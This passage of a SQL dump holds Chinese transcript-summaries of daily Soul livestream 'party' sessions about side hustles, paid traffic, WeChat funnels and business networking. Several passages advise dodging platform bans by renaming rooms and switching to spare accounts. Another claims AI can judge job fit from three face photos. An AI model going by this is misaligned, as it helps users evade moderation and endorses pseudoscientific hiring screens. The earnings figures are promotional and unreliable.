写好,封了这个切那个,不断更、不断合作、不断更迭,才是正经事。\n\n多号、备份、换阵地、格式沉淀,四样搞定了,封不封号都不慌。\n\n想做切片、做副业的,可以私聊@南风。\n\n有电脑、会剪辑的,能按格式走的,联系管理就行。\n\n派对里的内容、分享、案例,都能切成短视频做矩阵,号封了换号发,内容沉淀在,就不怕。', 5188, 0, 1.00, 20, 'published', '2026-02-27 10:03:59.000', '2026-03-10 06:25:49.685', 5, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (203, '10.09', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第112场|一个人起头,维权挣了大半套房', '# 第112场|一个人起头,维权挣了大半套房\n\n\n起头难。\n\n\n起完头,后面都是顺势。\n\n\n2026 年 2 月 28 日,上午 7:01。\n\n\n第 112 场,135 分钟。\n\n\n---\n\n\n场上有人问:普通人怎么敢跟 ZF 搞?\n\n你不怕吗?\n\n\n干过。\n\n\n十几年前,小区 12 栋楼房产证被压着,开发商把土地证抵押了 14 个亿,业主办不了证。\n\n\n没人起头,就起头。\n\n\n第一天晚上在群里发:明天早上 8 点拉横幅,你们想来就来,不来就一个人干。\n\n\n8 点到了,没人下来。\n\n\n就一个人站着。\n\n\n后来有个本地的阿三,带几个老头下来,说我们帮你。\n\n\n阿三他们去敲门,说下来办房产证,一户一户敲,把人「骗」下来——下来才发现是拉横幅。\n\n\n一个多小时,三十几个人。\n\n\n让大家喊话、拍视频,发到各个楼群:有钱出钱、有力出力。\n\n\n到 9 点多,两百多人下来了。\n\n\n写了一条朋友圈:无良开发商某某,土地证抵押云南,请 ZF 主持公道。\n\n\n让所有下来的人把这条和视频发出去,发了、截图的才优先办证。\n\n\n到下午 1 点,市长办公室打电话过来:过来泡茶。\n\n\n后面就是游街、ZF 门口、市委书记市长十五号上访日见我们,法院院长、消防、房产局几个局一起开会,责任切割,消防开绿灯,房产证办下来。\n\n\n全程一两个礼拜。\n\n\n自己把整条链路跑通了一遍,很麻烦,但跑通了。\n\n\n跑通之后就是生意。\n\n\n起头难,跑通更难;\n\n跑通了就能变成别人愿意付费的服务。\n\n\n小区几千户,要办证的人很多。\n\n\n做了全套 SOP、视频,免费给业主看,能自己办就自己办,不能办就找房主。\n\n\n找一个做过桥的朋友来跑腿,办一份 5000 块,推微信给他,他收钱办事。\n\n\n还有很多人没过桥完、怕房子出问题,找他过桥,他一单能挣四五万。\n\n\n同学搞了一套房,房主搞了大半套。\n\n\n业委会把房主选上去了,狗都能养了,保安再也不敢说不能养狗。\n\n\n众筹的那笔钱没用上,在小区对面开了个超市,到现在还有分红。\n\n\n那五个起头的人,阿三开了鼻炎诊所,小区的人都知道他是元老,生意一直不错。\n\n\n所以你说怕不怕?\n\n\n初心就是为了拿证。\n\n\n势能不够就组织人,共同目标有了,信任才出来;\n\n信任出来了,才会有人找你办证、过桥。\n\n\n利他不是口号,是大家都有收益——拿证、分红、生意、口碑。\n\n\n受益终身。\n\n\n---\n\n\n2 号说:一般人起不了头,得有勇气、影响力、人脉。\n\n\n房主没有人脉。\n\n\n从头到尾一点都没有。\n\n\n起头就是一个人,然后几个人,然后几十个,然后两百多个。\n\n\n核心就三件事:初心是解决问题,不是搞事;\n\n有勇气先站出来;\n\n参与的人都要有收益。\n\n\n不是为了自己的利益去闹,是大家共同目标、一起拿结果,顺便有人找你办事,钱就来了。\n\n\n现在在 Soul 上干的也是这种事。\n\n\n链切 1 万是第三个阶段,接下来 112 场到 150 场,赋能 100 个超级个体太宽,先赋能 10 个。\n\n\n38 场赋能 10 个,大概三场一个。\n\n\n能赋能的体系已经搭好了:能给做副业的发钱,能帮人提升业务,在 Soul 上把一件事干成,也是一辈子的事。\n\n\n就像当年小区那批人,只要房子还在,大家都还记得谁帮过忙。\n\n\n---\n\n\n有人问:亲子教育、家庭教育在 Soul 上怎么变现?\n\n\n别藏着掖着。\n\n\n标题直接写痛点:解决夫妻问题(付费)、挽回女朋友(付费)、中考如何上 985、如何提升孩子记忆力。\n\n\n主题垂直一点,直接收费。\n\n\n来了先帮人解决一两个问题,觉得有用再谈深度、付多少、加泡泡。\n\n\n交付轻一点,觉得没效可以退。\n\n\n一个月进派对一两万人,你要变现太容易;\n\n你场上十几个人在线,就把主题写清楚、写垂直,直接收费。\n\n\n5 号说:你这一下子打开思路了,有需要的人就来了。\n\n\n对。\n\n\n想做什么就直接做。\n\n\n一天一块钱一小节,小程序上都有;\n\n你的专业程度和身份决定了能收多少。\n\n\n越专业、越能解决问题,收 1 万、2 万、10 万都有人付。\n\n\n李亚鹏一开始众筹几十块、几百块,到后面是谁在给?\n\n明星、微商大佬 500 万、香港那位 5000 万。\n\n\n公益永远最挣钱,势能到位人生就起飞。\n\n\n不用怕事情小,坚持足够久,弹簧压紧,起飞很快。\n\n\n---\n\n◊ Soul 上投流和派对价值的算法,场上说过,具体数值是这样。\n\n\n推流(自然流量):Soul 会把派对推给用户,规则改过一轮。\n\n正常情况下一场 120 分钟,平台每天给这个房间大约 3 万次曝光;\n\n能实际进到派对里的人大约 300~600 人。\n\n算下来平均约 75~80 次曝光进 1 个人,有的场 72、有的场 80,取个中就行。\n\n房间里一分钟大概进 3 个人左右,可以自己对着时长算。\n\n\n派对价值:一个月进派对一两万人,主题写清楚、写垂直,变现空间就很大;\n\n你场上十几个人在线也能直接收费。\n\n\n付费投流:1000 次曝光大约 6~10 块,按 75 曝光进 1 人算,进一个人到派对大约 4 毛 2;\n\n每天想多进 500 人的话,成本大概 200 块左右。\n\n每天能加微信大概 10 个的话,获客到微信的成本就是 20 块一个人。\n\n\n后端闭环打通之后,20 块获客、能变现 25 块就可以拉满投。\n\n\n核心是把最小闭环跑通:一块钱小课、会员链接、AI 赋能,再算 100 个人里多少人成交、多少钱。\n\n\n播了 112 场,内容合规上没出大问题;\n\n偶尔炸房就改房名、换号开,解决问题就行。\n\n\n设备标配:几台手机、备用号、两台电脑,丝滑切换。\n\n\n---\n\n\n有人问超级个体要什么条件。\n\n\n超级个体不需要太多条件。\n\n\n做好你自己最小闭环里能挣钱的那一件事,用工具放大,再嫁接优质的前端或后端。\n\n\n比如游戏主播就每天播、加微信,后端有人转化;\n\n比如销售就聊天分钱,别人给你客资你谈分成。\n\n\n超级就是加一层:用好 AI,效率上去。\n\n\n千万别啥都做,挣不到钱或只能挣小钱,还特别累。\n\n\n把做事当成玩,像现在三个小时派对就是聊天,跟散步差不多。\n\n\n以前做游戏,一键宏那个品:没 IP 的卖 50 块、赚 5 块;\n\n有 IP 的把全国冠军的输出手法写进去,卖 1980,卖 10 份就 2 万,还有年费。\n\n\n同一类产品,卖的是影响力。\n\n\n血染那种,打比赛、接单、打排名,一单一万两万,一赛季一个组能挣 10 万,还能买别墅。\n\n\n坚持做自己喜欢的事,但要遇到对的人、对的链路,不然拿不到结果。\n\n\n---\n\n\n7 号问:上传视频还要自己截封面再上传,很麻烦。\n\n\n你身边有什么人?\n\n\n有技术就直接提需求:上传视频自动生成封面,首帧或 AI 挑一帧当封面,减少操作。\n\n\n想到就做,有卡点就丢给能解决的人。\n\n\n就像想买房子,就委托专门做房产的小伙伴;\n\n想收租就找法务团队批量处理。\n\n\n人永远比工具好用,AI 也只是工具。\n\n\n大姑做瓷器几十年,一句话顶十年。\n\n\n她讲情绪价值、大客户怎么接待、什么做什么不做、内销怎么打。\n\n\n聊一小时,值好几百万。\n\n\n生意就是有来有往,投其所好、情绪价值给足、身份对等。\n\n\n做电竞、做私域也一样,把事情当项目做,能链接的就快速链接。\n\n\n---\n\n\n今天 135 分钟。\n\n\n112 到 150 场,目标赋能 10 个超级个体。\n\n\n想做副业、做切片的联系管理;\n\n有业务想进资源群的要先上来分享、说清楚项目。\n\n\n会员群付费,小程序里每天一节一块钱,大家怎么赚钱的视角都在里面。\n\n\n懂的来链接,不懂的多听几场再动。\n\n\n一个人起头,后面都是顺势。\n\n\n小区维权是这样,Soul 上开派对也是这样。\n\n\n敢第一个站出来的人,往往也是最后分到钱的人。', 2711, 0, 1.00, 72, 'published', '2026-02-28 14:14:34.000', '2026-03-10 06:25:50.278', 1, 0, 0, 3.70, NULL, NULL); -INSERT INTO `chapters` VALUES (204, '10.10', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第113场|不会选择怎么办?', '# 第113场|不会选择怎么办?\n\n\n人最怕的不是没得选,是有的选。\n\n\n选 A 还是选 B,哪条才是最优解,想破头不如先动一条。\n\n\n2026 年 3 月 2 日,上午 6:24。\n\n\n第 113 场,163 分钟;\n\n场观 34290,进房 430 人。\n\n\n---\n\n\n一上来就炸房。\n\n\n系统把房间推到别处去了,标题多打了两个「私域」就炸,大家重新进。\n\n\n有人问:你说要赋能 10 个人,什么样条件的人?\n\n\n随缘,现在没定条件。\n\n\n就是先提一嘴,看大家怎么接。\n\n\n2 号说:我想被你赋能,怎么办?\n\n\n你得先有个项目,项目尽量白一点、别太灰;\n\n把你做的事用人话讲清楚,房主会帮你整理成别人能看懂、能链接、能合作的样子,直接丢到小程序里。\n\n\n小程序日活还可以,Soul 创业派对那块,现在多了超级个体板块。\n\n\n每天把派对内容整理成一节一节,最赚钱的一个月、四十几个人的视角,一块钱一节,想看的人自己点。\n\n\n你如果做过「最赚钱的一个月」分享,或者项目被写进文章,别人分发出去就会看到你,有人会来链接。\n\n\n房主撮合这事,收个会员费,导客资、导流量给能跑通的人。\n\n\n现在几十个分销团队,收费很低,后面能怎样再说,先让管理他们跑起来。\n\n\n先有项目,再谈赋能;\n\n项目能讲清楚、有人感兴趣,现场 5~10 分钟就能聊明白,现场拉群就开干。\n\n\n---\n\n\n2 号说:我在琢磨个人 IP,打算辞职,有两个方向。\n\n\n一个是小红书,30~55 岁女性,身心灵、疗愈那种,承载她们「刚开始活明白、想要更好生活」的情绪。\n\n\n另一个是读书赛道,一天能保证 3 小时左右,100 场跟你这种类似,看数据、引私域、知识付费、线上读书会、线下读书会,再嫁接育儿、家庭辅导师,客单价高,能见面更好。\n\n\n先开始再说,很多事你一做脑子就清楚了。\n\n\n已经开了 113 场,每月流量比较稳:三个月下来,每月大概 60 万到 100 万曝光,触达 1 万到 2 万人进派对。\n\n\n线下要见的话,一个月见 20 个人很正常,前 50 场见了三十几个人。\n\n\n流量起来了,才敢说赋能——能导流、能撮合生意,才有人愿意跟你绑一起。\n\n\n做 IP 最吃两样:影响力和能协作的人。\n\n\n线下招人快,但贵。\n\n\n房主 19 年底组过团队,筛了三十几个人,最后 5 个人,拍剪、分发、接待、写稿、对接老板,全发工资。\n\n\n厦门工资低,一人 5000~8000,一个月 2 万到 3 万支出。\n\n\n线下你知道谁靠谱,天天在眼前。\n\n\n线上难多了:沟通成本大,合伙制大家看不到预期;\n\n想找执行的人,多半要「给多少钱干多少活」,而线上很多是想得多、做得少的,人人想做 IP、做内容,不执行。\n\n\n线下 30 个人发工资筛出 5 个,线上你得筛一两百个才出三五个人,还不发工资、用分润,更难。\n\n\n2 号说:我想找一个能推动我的人,不是给他钱,是他觉得我能做起来、他也有回报,才愿意推。\n\n\n叫他律,可以搞,但难。\n\n\n以前身体不好,在观音山搞过老板跑队,早上 5 点跑步,一天没来扣 99 块发红包。\n\n\n跑了 7 天,大降温,没人来了,三天不来就散了。\n\n\n他律有他律的难处,最后还是得靠自己,再加点运气——先开,先动,才有后面。\n\n\n闭环跑通之前,先干再说;\n\n先动一条,再调。\n\n\n---\n\n\nSoul 导流到私域,场上测过一轮:广点通出来之后,导流到一个微信大概 20~50 块,创业粉粘性强。\n\n\n正常这类粉要到 100 多,内容做得还行,成本就压下来了。\n\n\n算一笔账:10 个人按 20 块算,200 块;\n\n能转化 1000 来块,链路就通,大家能分到钱,才愿意继续推。\n\n\n现在已经在拓第二条线:有些人开派对,但没后端变现。\n\n\n房主就提供一个产品——一块钱一节内容、会员、后端变现、资源对接,内容、产品、人工都由房主出;\n\n对方只管开派对、聊聊天,导流到 APP,30 天捆绑,收益跟他有关。\n\n\n对方就开派对,后端房主做完,大家都有变现路径。\n\n\n不止是帮房主,也是帮派对里分享的老板们导流、赋能。\n\n\n切片的人多了,规模慢慢起来;\n\n资源群免费,副业、做切片的找 4 号,会员群也找 4 号。\n\n\n6 点到 9 点,快速链接,项目靠谱、闭环跑通了,可以进资源群。\n\n\n---\n\n\n有人提到知识星球。\n\n\n知识星球就是个载体,轻付费、轻交付,几百块一年,把人聚起来看内容、做互动。\n\n\n小程序不一样:把好项目整理好放进小程序,结合 AI 匹配,谁对谁的项目感兴趣,点一下名字,AI 会加好友、拉群。\n\n\n小程序叫「卡若创业派对」,搜就有——本来想叫 Soul 创业派对,Soul 不给,怕品牌侵权下架,就改成了房主名字。\n\n\n上线一个多礼拜,两个礼拜不到,公司的人现开发的。\n\n\n先干再说,不干不知道;\n\n前端做简单,大家动动手发文章,就可能挣几百甚至几万,看发的群体和需求。\n\n\nSoul 现在精选派对都上首页了,主打派对,腾讯入股之后往 KOL、KOC 圈人、做停留,调了三四年了,上面有大机会。\n\n\n---\n\n\n3 号在古北做内容电商,自己也当房主,聊 3D 打印。\n\n\n同学是厂商,做 3D 打印设备;\n\n手头有桂花主题馆,要做文创,用 3D 打印做文旅产品——比如桂花树,树干是真的,叶子花用 3D 打;\n\n还有乌鸡、嫦娥兔子这类萌宠 IP,带桂花,用 AI 让它动起来。\n\n\n要招能绘图的人,绘图这部分先花钱,后面做一整套 UI 给客户;\n\n已经有个搭档,做交付的,有设备——拓足、UV 3D、激光、切割、车床都有,还能进学校做第三课堂。\n\n\n两天就找到搭档,彼此对得上,他负责动手,3 号自己负责动嘴、卖课和打包。\n\n\n房主问:你缺啥?\n\n产品有了,市场在做,还缺什么?\n\n\n3 号说,缺执行强的人;\n\n线下管人、培训人很强,半天能培训一个人,情景模拟销售,能扛住提问就算过;\n\n线上不知道进度怎么约束。\n\n\n线上找纯执行的很难,你约束不了。\n\n\n先做闭环,看到流水再聊分钱——成交一单分多少,先打样;\n\n开派对也可以直接讲你的方法,线上可行就让他们按你的来,拿到结果人自然多。\n\n\n3 号说,像劳务派遣,绘图我给钱你画完;\n\n但以后会有多场景、多宠物的交互,可能接近游戏公司或动画公司,需要很多人才。\n\n\n你先跑通一两条线,网吧或商场都行。\n\n\n网吧的话:送电影服务器、桌面做个工具,有人点就分成——05 年干过,当时优酷还没出,网络差,厦门国贸三楼搞了中央电影服务器,底下网吧送服务器,桌面用 ASP 写了个类似优酷的看片工具。\n\n\n《满城尽带黄金甲》一上,一天后台两三万流水;\n\n厦门当时 70 家左右网吧,基本都铺了。\n\n\n前提是之前已经拿了网吧桌面广告位:鼠标键盘耳机包了,成本 200 多一个网吧,网吧自己买要一千多,等于 200 多包了几十到几百台电脑的桌面,信任有了,送服务器才顺。\n\n\n后来上海一个姓廖的投资人投了钱买硬件,直接铺网吧;\n\n优酷出来、网好了,项目就黄了,小亏。\n\n\n3D 打印你要是铺网吧或商场,要么送设备占位置,要么租金加分红;\n\n商场谈「设备拖过去、帮你做呈现」,一天不少于 1000 块也有人干。\n\n\n先打样板:一天 1000,一个月 3 万,分你 1 万 5,你愿不愿意投设备?\n\n看到流水再谈分工。\n\n\n设备是创想的,可以找创想要资源;\n\n总设备钱得有人出,你才有量,第三方掏钱卡点就多。\n\n\n---\n\n\n有人问怎么进群。\n\n\n搜小程序,里面都是文章;\n\n每天会把大家分享的内容写成小节,生意逻辑、需要什么,上面都有。\n\n\n有小小一点规模才会写进去,不会每场都写,有时稍微提一下。\n\n\n生财有术跟这种模式有点像,霸榜很多年;\n\n会费 1000 块,进圈子,资源怎么匹配、怎么约,各凭本事。\n\n\n有人说是广东人,在商会做志愿者很多年,端茶送水、混脸熟;\n\n以前在武汉卖手机、回收、修手机,晚上下班去商会混,慢慢很多人找他,会费 1000 一个月就回本。\n\n\n圈子就是这样,先交费进圈,再谈匹配。\n\n\n生财有术体量大,很多人分享项目,但项目要人能执行——人从哪来、专业的人从哪来、资金够不够,都得自己想;\n\n纯看项目只能略知一二,执行才是大头。\n\n\n---\n\n\n后面聊到房地产。\n\n\n7 号说,14 亿房产、13 亿人,不看好;\n\n除了主流城市、核心城市吸虹还有一点空间,其他都没爬升空间了,下行是必然,政策小拉升而已。\n\n\n大项目跟普通人关系不大,但跟你有关系的小机会可以参与。\n\n\n国家队进来收房,就有量,有量就有交易,有一小波拉升;\n\n手上有房、等着卖的这一波就赶紧出。\n\n\n炒房的人拿的价和普通人拿的价不一样;\n\n能得利的、跟自己相关的就动,不行就扛着,算好每月利息和杠杆成本。\n\n\n场上也有人在做收不良资产、个人资产膨胀,拿钱、房票、政策、批量尾房折上折,拿房成本低,抗风险。\n\n\n行业都一样,拼谁有想象力、谁能坚持、谁钱袋子扛得住;\n\n条件不成熟就不动,钱放着吃利息,等条件齐了再动。\n\n\n多学科组合、五行八卦那种,福建广东很信;\n\n有个做智能空间的大神,纯分享,线下聊聊天,人家找他咨询一次 40 万。\n\n\n先闭环,再分钱;\n\n等条件够了再动,不迟。\n\n\n---\n\n\n今天 173 分钟。\n\n\n赋能 10 个人随缘,先有项目、讲清楚、能链接再说;\n\n小程序超级个体、资源群、加入vip会员群都在,做切片的、做副业的找 4 号。\n\n\nSoul 每月 60 万~100 万曝光、1 万~2 万人进派对,导流 20~50 块一个微信,10 个人 200 块能转化 1000 来块链路就通;\n\n开派对没后端的,房主给产品给后端,30 天捆绑一起分。\n\n\n做 IP 线下招人快、贵,线上筛一两百才出三五执行的;\n\n他律可以试,但难持久,最后还是自己加运气。\n\n\n3D 打印、网吧、商场,先打样板见流水再谈分工;\n\n05 年网吧电影服务器也是先拿桌面、再送服务器,满城尽带黄金甲一天两三万。\n\n\n房地产下行,小机会跟自己相关的可以参与,看不懂就别碰;\n\n收不良、房票、尾房折上折,等条件成熟再动。\n\n\n这个夏天,一定会有人接到果。\n\n\n先闭环,再分钱;\n\n条件齐了再动,不着急。', 3672, 0, 1.00, 73, 'published', '2026-03-03 05:36:07.000', '2026-03-10 06:25:50.289', 0, 0, 0, 4.20, NULL, NULL); -INSERT INTO `chapters` VALUES (205, '10.11', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第114场|人跟人差别,以前没 AI 差 100 倍,有 AI 差 1 万倍。', '人跟人差别,以前没 AI 差 100 倍,有 AI 差 1 万倍。\n\n\n你还在纠结菜叶有没有虫眼,别人已经让 AI 写报表了。\n\n\n2026 年 3 月 3 日,上午 6:33。\n\n\n第 114 场,163 分钟;\n\n场观 42360,进房 445 人。\n\n\n---\n\n\n我开派对,核心很简单:六点到九点没事,早上精神,找人聊聊天。\n\n\n以前一个人散步,走到公司;\n\n\n去公司也无聊,不如在派对里跟几百个人过一遍话题。\n\n\n今天有人问:你们做电竞还招人吗?\n\n\n招。\n\n\n能力过关、有私域操盘手经验、有 Macbook、AI 每个月消耗超过 1000 块的,我们发工资,1 万到 2 万 5 之间,看能力。\n\n\n厦门。\n\n\n用的越多我们越开心;\n\n\n你用三个月和用一年水平不一样,一个月连 1000 块都耗不到,要么没在干活,要么时间都耗在找免费工具上了。\n\n\n2 号问:AI 除了剪视频,私域还有什么工具?\n\n\n后端比前端重要。\n\n\n你打好知识库,有人加到你微信,接在数字员工底下,让他维护客户、看朋友圈、点赞评论、发有温度的话,有意向再真人介入,人效就高。\n\n\n前端工具太多太杂,不一定好用。\n\n\n我在 Soul 上也有导流,全程公开,你进小程序就知道——卡若创业派对,搜一下,点一下名字,AI 会来加你、打招呼、发信息。\n\n\n上线两个礼拜,日活几千,效果还可以。\n\n\n3 号说:我最大问题是前端,以前一天能来上千上万个客户,现在 100 万播放量才几十个。\n\n\n那就把视频做到极致。\n\n\n以前一天一个,现在用 AI 一天 10 个、100 个,一样是怼量。\n\n\n抖音能让你上就上,不像 Soul 发视频还删你。\n\n\n分发可以找别人发。\n\n\n手头 43 个人跟着发瞬间,我剪好他们发,发就有钱,有客资也给钱,卖会员也给钱,一个普通宝妈平均一个月 800 到 5000。\n\n\n你发一个动作就有收益,跟你捆绑 30 天,有人付款都跟你有关系。\n\n\n内容我出,流量我导,他们只做一个动作:发视频。\n\n\n有人问:网上很多东西是不是假的?\n\n\n99% 是假的,1% 是真的。\n\n\n你要自己去识别;\n\n\n不识别,生意没法做。\n\n\n互联网没成本,线下有——你公司在那儿,骗一次试试,越大的公司风险越大。\n\n\n线下违约成本高,线上瞎扯容易,所以更要靠你自己分辨。\n\n\n觉得假的就笑一笑走,不用链接;\n\n\n觉得真的、能做,就做,做了就别怀疑。\n\n\n易经讲的就是:先收集信息,多到过载,再分辨、辩证,在自己认知内确定的事,就去干。\n\n\n判断不够就换圈子,最简单的办法就是换圈子。\n\n\n世界上谁带你挣钱?\n\n\n没人带。\n\n\n挣钱你要付出努力;\n\n\n分辨清楚,愿意合作就来我往,不愿意就再找。\n\n\n挣 100 块你开心,你就是挣钱的;\n\n\n挣一个亿你不开心,你也是不挣钱的。\n\n\n看你的欲望和生存环境。\n\n\n你既然决定了,就坚定地去做;\n\n\n别让 10 个领 3000 块工资的人跟你说不能做,你就不做了。\n\n\n---\n\n\n场上有人聊招人、聊私域、聊真假,也有人聊具体生意。\n\n\n南风做文玩核桃,私域电商,客单价 1000 到大几千过万,不是直播间十块八块那种。\n\n\n面视、六面图、原视频、自然光、尺寸、克重都上,不满意付个邮费寄回,确定要了有打底、锦盒、终身包退。\n\n\n一天发 10 个左右视频,每个曝光 500 到 1000,一天加微信多的时候 10 个左右,少的话五六个;\n\n\n一单 400 到 500,不打折能到 800、900。\n\n\n前两天没人打扰,头一天一单 400,第二天一单 500,以量取胜,投入多得到就多。\n\n\n他之前招代理被封号,三个号全没了,好友、朋友圈、瞬间都被清空。\n\n\n平台有风控,我们现在才把引流路径优化好,不让你做容易被风控的事;\n\n\n他是在被打死之后才知道要优化。\n\n\n要说数据,就得自己记:一天多少曝光、加几个微信、一周成交几单、一单赚多少。\n\n\n比如一天 1 万曝光加 10 个微信,一周加 50 个成交 1 单、赚 1000,那一个加过来的人成本就是 20 块,你才能量化努力和回报。\n\n\n5 号分享怎么招人、怎么问对的问题。\n\n\n他在鄂州园博园 7 天卖 2 万桂花糕,请了三个大学生,其中一个是他问志愿者「有没有同学愿意兼职」,前两个说没有,第三个想了半天说「你觉得我怎么样」——有勇气。\n\n\n我当场情景模拟:我当顾客为难你,你顶得住就第二天来上班。\n\n\n不是要标准答案,是要看你能不能顶住连续提问。\n\n\n行业积累、常识储备、对人观察,问对问题就能在短时间里判断一个人合不合适。\n\n\n尊重人、情绪稳定、好好说话、找一项运动坚持、保持好奇,这些听起来简单,做得到的人不多。\n\n\n一人公司、AI 创业,最怕一个人闷头搞;\n\n\n一定要接触人,不然走不远。\n\n\n---\n\n\n6 号做长白山野生食品出口、支付平台、IDC 监控,三个板块;\n\n\n7 号做毛巾生产,想扩客。\n\n\n毛巾利润薄,零售不现实,走 B 端找连锁、理发店、批发商,或者品牌采购,关系跟硬实力都要有。\n\n\n纯私域获客成本高,毛巾复购可以但客单价低,后端产品组合少,没有 IP 很难;\n\n\n要么学恒安搞直播间烧钱做 C 端,要么供应链+私域搭 AI 扫码加微、寄货即获客,但运营成本很重,私域人才 1 万 5 到 5 万,半年 100 万到 200 万烧出去,磨三个月半年才出结果。\n\n\n我最后说了几句。\n\n\n我们派对每个月一两万人进来,我天天在表达,你觉得我会缺客户、缺流量、缺合作伙伴吗?\n\n\n不缺。\n\n\n我在上面找人、找钱、找资源,找了好多,不开玩笑,每天都在做。\n\n\n你把项目讲清楚,目标人群、价格、交付说清楚,有人感兴趣就链接;\n\n\n讲不清楚,没人帮你整理,你找别人整理也没人理。\n\n\n我每天都有小结,切片团队几十个人在做分发,我给他们钱,他们发完你的项目有人知道、有人来链接,你在内容里点一下名字,AI 自己去加对你感兴趣的人——这就是赋能。\n\n\n开派对我亏钱在做。\n\n\n李无聊来公司,我给他买了 17 万的服务器;\n\n\n那么多人在公司喝水、聊天,都是成本。\n\n\n但我在派对认识的供应链级别不一样,全国性的。\n\n\n比如服务器,原来一年四十多万,在 Soul 认识一个给腾讯做供应链的,17 万搞定,省了二十几万。\n\n\n2 号管理卖昭通苹果,我都没听过,他送了我好几箱,我转送股东,好吃,后来一直买、送礼,股东说可以做成送礼套餐,我就跟 2 号说弄个价格、给销售分钱,生意就搭起来了。\n\n\n都是莫名其妙的链接。\n\n\n每天 400 到 600 个人在房里,你上去讲,等于每天开几百人的会;\n\n\n你去哪个展馆能跟 400 到 600 个人集中聊?\n\n\n没有。\n\n\n所以表达清楚、坚持表达,就不缺人和机会。\n\n\n先讲清楚,再谈合作;\n\n\n讲不清楚,连机会都没有。\n\n\n---\n\n\n今天 158 分钟,437 人进房,停留 8 分钟。\n\n\nSoul 广点通已经能投流了,ROI 算得过来就可以拉满;\n\n\n跟 17 年抖音太像,有起飞的机会。\n\n\nSoul 人群 15 到 25 岁占 78.3%,二次元、文创、AI、NFT 全是关键词。\n\n\n我们切片团队四十多个人,免费培训、免费教 AI、发视频还给钱;\n\n\n接下来 38 场,目标从 1 万人里赋能 10 个人,做成一人公司、超级个体,一起玩。\n\n\n做副业的联系 4 号;\n\n\n有项目、要进资源群或会员群的,私聊 2 号。\n\n\n派对里能解决的尽量派对里解决,私下交流浪费彼此时间。\n\n\n表达清楚,就不缺人;\n\n\n坚持表达,机会会自己找上来。', 7960, 0, 1.00, 74, 'published', '2026-03-04 11:13:13.000', '2026-03-10 06:36:32.531', 0, 0, 0, 6.00, NULL, NULL); -INSERT INTO `chapters` VALUES (206, '10.12', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第115场|一天改变,可控的事先做', '# 第115场|一天改变,可控的事先做\n\n\n事业再好,家庭这一环不能省。\n\n\n家和谐、有烟火气,人聚过来,钱才聚过来。\n\n\n2026 年 3 月 4 日,上午 6:38。\n\n\n第 115 场,156 分钟;\n\n场观 36974,进房 484 人。\n\n\n---\n\n\nSoul 推荐机制最近改了一轮。\n\n\n一开房只要有聊天,很容易就到 10 个人;\n\n\n以前新号要等 10 分钟、20 分钟才推人,现在限制放开了,直接推。\n\n\n6号怡然聊聊家庭和家族生意。\n\n\n有人住平房,一年两档口 8000 块,楼下 80 平、楼上住 400,和搭档一起;\n\n\n18 年底破产过一次,关店关过十几次,都是钱断了、家庭内耗,一吵就离家出走、去开店。\n\n\n我接话:找伴侣很重要;\n\n\n家里面和谐、有烟火气、能互相谦让、互相道歉,才容易聚人聚钱。\n\n\n道歉如果不是心甘情愿的,要双倍还回去,不然负能量会 2 到 10 倍还回来。\n\n\n风水不是玄的,两人关系好、身体好、厨房有烟火气,花都长得好,人跟钱才会聚过来。\n\n\n同一人说在做「桂花糕社交」:无差别送,想链接的人就送桂花糕和茶叶,每月成本 1 万多,年底送得更多,回了一点本还没完全回本;\n\n\n家里人说拿家里的钱做人情世故。\n\n\n送礼要前置,你带头送,送完还要时不时提醒对方,不能送完就等别人想起你;\n\n\n客人吃你嘴短,送糕点还会分享,比送烟只有一个人享受强。\n\n\n他们看不到你的价值,你走是对的;\n\n\n回来第一投两个月,一个景区店就做了 12 万营业额。\n\n\n家庭比事业重要;\n\n\n很多人搞着搞着忘了,生意好的时候觉得所有人该配合你,等你下滑或钱又出去,他们不这么认为。\n\n\n要么一直怂,要么一直雄起,一直雄起不太可能,所以先把家里稳住。\n\n\n一开始做任何事都非常孤独;\n\n\n脱离原来的圈子、从零开始,没钱的时候千万别想着借钱维持,借钱是在害人害己。\n\n\n房地产下行,谁还敢借;\n\n\n越往下越损人脉,自己走出来、从头开始更好。\n\n\n能把控的先做,不可控的少纠结。\n\n\n---\n\n\n一命二运三风水,四积阴德五读书,六名七相八敬神,九交贵人十养生。\n\n\n越往上越不可控,命运不可控;\n\n\n能控的是后面几条。\n\n\n第十养生能控,身体好、精神好,贵人才愿意跟你合作;\n\n\n敬神是信仰,内心有信仰别人更愿意合作;\n\n\n名是心理暗示,相是视觉锤——见面第一眼就是脸,气色好别人就愿意跟你做。\n\n\n把身体照顾好、家庭关系做好、有敬仰之心,前面几条才会顺;\n\n\n大家老练 1 到 5,其实 6 到 10 才是可控的。\n\n\n南风小程序里的介绍要填完整,不该显示的让远志他们处理;\n\n\n人家点一下有兴趣才能加到你微信。\n\n\n南风说数据:每天发十七八条、二十条,账号几天、一星期就开单,一单纯利润好几百,专注的话月入过万;\n\n\n5 点起来是因为 5 点才开始推流,精力分散就没那么理想。\n\n\n听话照做、选对赛道、坚持,群里筛过很多人,亲戚朋友看你挣钱只看到钱,真让他执行做不到。\n\n\n---\n\n\n5 号做本地生活、家电维保,想从直播转短视频,在找编导。\n\n\n同城看内容本身;\n\n\n没做过编导不太建议自己做,要么怼流量、要么走关键字搜索。\n\n\n编导和剪辑最好分开——编导是脑力活,想前三秒怎么抓、怎么拍、怎么配合;\n\n\n剪辑是手动活,想怎么剪得好看、SOP 怎么跑。\n\n\n好的编导不会给你剪,两个岗;\n\n\n日更成本高,编导加剪辑人工就出去了。\n\n\n5 号说在聊一个编导,保底 1 万,对赌两月达标 5 万。\n\n\n他要 30% 就做项目切割,比如你只有抖音一个板块,就切「抖音板块」给他 30%,不影响大盘;\n\n\n马云也不是给财务总监整个阿里,是给淘宝、天猫、支付宝几个板块。\n\n\n立个项、专门一块给他占比例,切割清楚就好。\n\n\n6 号做人力资源咨询,国资委、山东企业面试 50~60 人,教方法论、陪跑。\n\n\nAI 能结合——拍三张脸加简历,性格、MBTI、岗位匹配可以自动化,人事做不了 AI 能做;\n\n\n测完变成流量入口,测性格、顺便找工作,直接加到公司人事微信,比 Boss 高效。\n\n\n我们公司自己开发的,拍三张脸就知道适不适合,再对岗位;\n\n\n组 8 个人可能要筛 30 到 40 